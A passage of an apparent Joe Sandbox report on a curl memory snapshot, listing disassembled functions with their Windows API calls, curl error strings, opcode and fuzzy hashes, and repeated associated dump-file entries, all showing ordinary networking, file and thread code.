Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: ErrorIoctlLastsetsockopt
String ID: Failed to set SIO_KEEPALIVE_VALS on fd %d: %d$Failed to set SO_KEEPALIVE on fd %d
API String ID: 1819429192-277924715
Opcode ID: c7aff7d9cd2a6e38b7671611bcd5508c1ac604ef8680cf0e1949a32a8fed5ac3
Instruction ID: bcb6028f59b378ad9aba69f604f28c63fd967d61a5b76084e4d109b4a82686af
Opcode Fuzzy Hash: c7aff7d9cd2a6e38b7671611bcd5508c1ac604ef8680cf0e1949a32a8fed5ac3
Instruction Fuzzy Hash: AE218EB2604341ABE310EF349C42FAF77E8AB84B10F44062EF655D61D2EA64D60587A6

Function 00A7F370 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 46libraryfileloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,CreateFile2,00000001,00975539,?,00975539,00000000,00000109), ref: 00A7F389
GetProcAddress.KERNEL32(00000000), ref: 00A7F390
CreateFileW.KERNELBASE(00000000,00975539,?,00975539,00000001,?,00000000,00000001,00975539,?,00975539,00000000,00000109), ref: 00A7F3EE

Strings

kernel32.dll, xrefs: 00A7F384
CreateFile2, xrefs: 00A7F37F

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: AddressCreateFileHandleModuleProc
String ID: CreateFile2$kernel32.dll
API String ID: 2580138172-1988006178
Opcode ID: 6a3606d1c0e4bb8f153934e9cb2ab38222e9fc8c2f57dc24ad7571bf11649bb8
Instruction ID: 63d0893a2b3923ba149646a49ef54b28f3dafa575e17a9467c9c6d5ca1d727c8
Opcode Fuzzy Hash: 6a3606d1c0e4bb8f153934e9cb2ab38222e9fc8c2f57dc24ad7571bf11649bb8
Instruction Fuzzy Hash: A811B37190020EEFDF11DF94DC05AAE7BB5FF08311F108529FD29A6290D775DA219BA1

Function 00A883C8 Relevance: 7.8, APIs: 5, Instructions: 253COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,00000000,00AB7F08,7FFFFFFF,00000000,?,00A8869B,00000000,00CB06F0,00000000,00000000,?,?,?,?,00000000), ref: 00A88477
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000,?,00A8869B,00000000,00CB06F0,00000000,00000000,?,?,?,?), ref: 00A884F1
MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,?,00A8869B,00000000,00CB06F0,00000000,00000000,?,?,?,?), ref: 00A8856C
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00CB06F0,00000000,00000000,?,00A8869B,00000000,00CB06F0,00000000,00000000,?,?,?,?), ref: 00A88585

Part of subcall function 00A6FD90: RtlAllocateHeap.NTDLL(00CA0000,00000000,00000001,00000000,00000000,00000000,?,00A7913C,?,?,?,00000000,?,00A79029,00000018,00AB7E48), ref: 00A6FDD3

MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00CB06F0,00000000,00000000,?,00A8869B,00000000,00CB06F0,00000000,00000000,?,?,?,?), ref: 00A88602

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapInfo
String ID:
API String ID: 1443698708-0
Opcode ID: 0eb4d7f2ecb51051cb43c332471c9acb8f6304867ab786fe9a665e80dc364b8d
Instruction ID: ef45a810fdf98d439541bf0bd0534fd18ad5611e056d4e70f979096fa013ad65
Opcode Fuzzy Hash: 0eb4d7f2ecb51051cb43c332471c9acb8f6304867ab786fe9a665e80dc364b8d
Instruction Fuzzy Hash: AC81BE72E0021A9FDF24EFA4D981AAE7BB5AF49350F944169E815E7241EF39DC048B60

Function 0098DAD8 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 145networkCOMMON

Download Yara Rule

APIs

Part of subcall function 0098F690: WSASetLastError.WS2_32(00002726,00000000), ref: 0098F6E9

WSASetLastError.WS2_32(00000000), ref: 0098DC0E
GetTickCount64.KERNEL32 ref: 0098DD67

Strings

connect to %s port %ld failed: %s, xrefs: 0098DC69
Failed to connect to %s port %ld: %s, xrefs: 0098DDF0
After %ldms connect time, move on!, xrefs: 0098DB41

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: ErrorLast$Count64Tick
String ID: After %ldms connect time, move on!$Failed to connect to %s port %ld: %s$connect to %s port %ld failed: %s
API String ID: 202284722-601300488
Opcode ID: 3bb4057b29b93b3049fd63b4ec91c061b1a14f70549ae95c0ce49b8675c290aa
Instruction ID: 626f78b9d11a5bc862e1d648fafc8afb0c75be1c7a0def87be43e065c69bf73f
Opcode Fuzzy Hash: 3bb4057b29b93b3049fd63b4ec91c061b1a14f70549ae95c0ce49b8675c290aa
Instruction Fuzzy Hash: 1051D4717052029BD708EF28D995B6EB7A5BFC4304F44462CF49A873C1DB70E915CB92

Function 00980F90 Relevance: 6.1, APIs: 4, Instructions: 130sleepnetworkCOMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 00980FB2
GetTickCount64.KERNEL32 ref: 0098100B
WSASetLastError.WS2_32(00002726,00000000,?,000003E8,00000000,?,?,?,?,?,?,?,?,?,009811AC), ref: 00981077
Sleep.KERNELBASE(000003E8,00000000,?,000003E8,00000000,?,?,?,?,?,?,?,?,?,009811AC), ref: 009810E5

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: Count64Tick$ErrorLastSleep
String ID:
API String ID: 2458332380-0
Opcode ID: 55bb39e11b5c7b6e829d1adb9530bb5b764a6481848c1157253184fd5aa00bd7
Instruction ID: 657d1e5ddf8d58ed82b5d7a8b8818778b0cce2602fc2a2965c6480a01e75b17e
Opcode Fuzzy Hash: 55bb39e11b5c7b6e829d1adb9530bb5b764a6481848c1157253184fd5aa00bd7
Instruction Fuzzy Hash: BA412732A002014BD724BE28DC4566F739DEBC0724F05423AF94ADB3D0EA25DD4A87D1

Function 00983CB0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44networkCOMMON

Download Yara Rule

APIs

send.WS2_32(?,00000000,00000000,00000000), ref: 00983CCD
WSAGetLastError.WS2_32 ref: 00983CE4

Strings

Send failure: %s, xrefs: 00983D0B

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: ErrorLastsend
String ID: Send failure: %s
API String ID: 1802528911-857917747
Opcode ID: 2d544ade28b6e315a53d83c61f6aa30c7ce1646e0bddbb7469b680bbf59a4479
Instruction ID: 62e4676954e5ecb7c5daaf9117a6cee2ecbb247d1693852afb41f4527bf264cb
Opcode Fuzzy Hash: 2d544ade28b6e315a53d83c61f6aa30c7ce1646e0bddbb7469b680bbf59a4479
Instruction Fuzzy Hash: 8D01D172304204AFCB10AFA9EC44B9ABBE4FB88B26F104575F90C93390D736AD209B40

Function 009B85F0 Relevance: 4.6, APIs: 3, Instructions: 132networkCOMMON

Download Yara Rule

APIs

getaddrinfo.WS2_32(?,?,?,?), ref: 009B860B
freeaddrinfo.WS2_32(?,?,?,?,?,?,?,?,00000000), ref: 009B8710
WSASetLastError.WS2_32(00002AF9,?,?,?,?,?,?,?,00000000), ref: 009B876E

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: ErrorLastfreeaddrinfogetaddrinfo
String ID:
API String ID: 1817844550-0
Opcode ID: ccbae4952a66f7a541156ba05c982e9eb2b80ee99711dbb39b6bcdeb08a5ffa3
Instruction ID: 824d3472fcfbddf900c10c8fb2743de56d04b3f2e8e8941d984e71d7e8ba048e
Opcode Fuzzy Hash: ccbae4952a66f7a541156ba05c982e9eb2b80ee99711dbb39b6bcdeb08a5ffa3
Instruction Fuzzy Hash: C4415A70600306DBC720DF69DA84A97B7ECBF48724F11492DE845C7211EF35E959CB92

Function 00A73646 Relevance: 4.5, APIs: 3, Instructions: 42threadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00A73671
ExitThread.KERNEL32 ref: 00A73678
GetCurrentThreadId.KERNEL32 ref: 00A7367E

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: Thread$CurrentErrorExitLast
String ID:
API String ID: 3034690753-0
Opcode ID: 0c9c2b28813ca47553cbb9b3b53d4f8691884aa0a3ab97867e5b0fafae77cd6c
Instruction ID: 85906a93684c69f38869ba86e622ca4f786b2f3d3b181e6eb44b29f5d3a5f056
Opcode Fuzzy Hash: 0c9c2b28813ca47553cbb9b3b53d4f8691884aa0a3ab97867e5b0fafae77cd6c
Instruction Fuzzy Hash: 74016276805701AFCB24AFB4CE0595A7BE8AF45354711C41CF54ECB341EB74ED029BA0

Function 0098D530 Relevance: 4.5, APIs: 3, Instructions: 38networkCOMMON

Download Yara Rule

APIs

SleepEx.KERNELBASE ref: 0098D54D
getsockopt.WS2_32(?,0000FFFF,00001007,00000000,00000000), ref: 0098D568
WSAGetLastError.WS2_32 ref: 0098D572

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: ErrorLastSleepgetsockopt
String ID:
API String ID: 3033474312-0
Opcode ID: 6a6d66315a54628b74d7f051a8e54a968d33ddd4fe00cbf23b780f02c5c4359b
Instruction ID: 067ad8430e5ca02c1b35d5f251c033aaa4a52c767e26dc540f257b5caa77c60d
Opcode Fuzzy Hash: 6a6d66315a54628b74d7f051a8e54a968d33ddd4fe00cbf23b780f02c5c4359b
Instruction Fuzzy Hash: 5AF0F0B11053026BE720AF54DC48BA77BE8AF80708F24442AF549CA3D8EB74C5088BA2

Function 0097C720 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsA.KERNEL32(00000000,?,00000104), ref: 0097C783

Strings

COLUMNS, xrefs: 0097C75E

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: COLUMNS
API String ID: 237503144-2475376301
Opcode ID: 93d9e64d87348b0b14832e7f7c6d9a5bb509dc4afbb530b11609c9a3df0be156
Instruction ID: 81ca18c59feb61e6096be1b183ecc18df2a9f983e92552180d40e99dc3cdac95
Opcode Fuzzy Hash: 93d9e64d87348b0b14832e7f7c6d9a5bb509dc4afbb530b11609c9a3df0be156
Instruction Fuzzy Hash: 1D31D8B29043019FD324DF24D485BA6B7F8AF95700F148A2DE88982252FB75D949CF92

Function 00A734E6 Relevance: 3.1, APIs: 2, Instructions: 61threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,0000000C,Function_00103646,00000000,00000000,0098F1F2), ref: 00A73554
GetLastError.KERNEL32 ref: 00A7355E

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: CreateErrorLastThread
String ID:
API String ID: 1689873465-0
Opcode ID: a33988b5bdc05864b98f37d482ae0980c83f985f9decfdb94412fda5d226126c
Instruction ID: c2ea6197257540105450f95f13d264a3e9cde5edae05cfce98ce2f968a2cbddb
Opcode Fuzzy Hash: a33988b5bdc05864b98f37d482ae0980c83f985f9decfdb94412fda5d226126c
Instruction Fuzzy Hash: 4911E1775047066FDB21EFA5DD4196B7BA8EF40770B11C129F91C86181EB719A019760

Function 00980E80 Relevance: 3.0, APIs: 2, Instructions: 41networkCOMMON

Download Yara Rule

APIs

WSACleanup.WS2_32 ref: 00980EF1
FreeLibrary.KERNELBASE(00000000), ref: 00980F01

Memory Dump Source

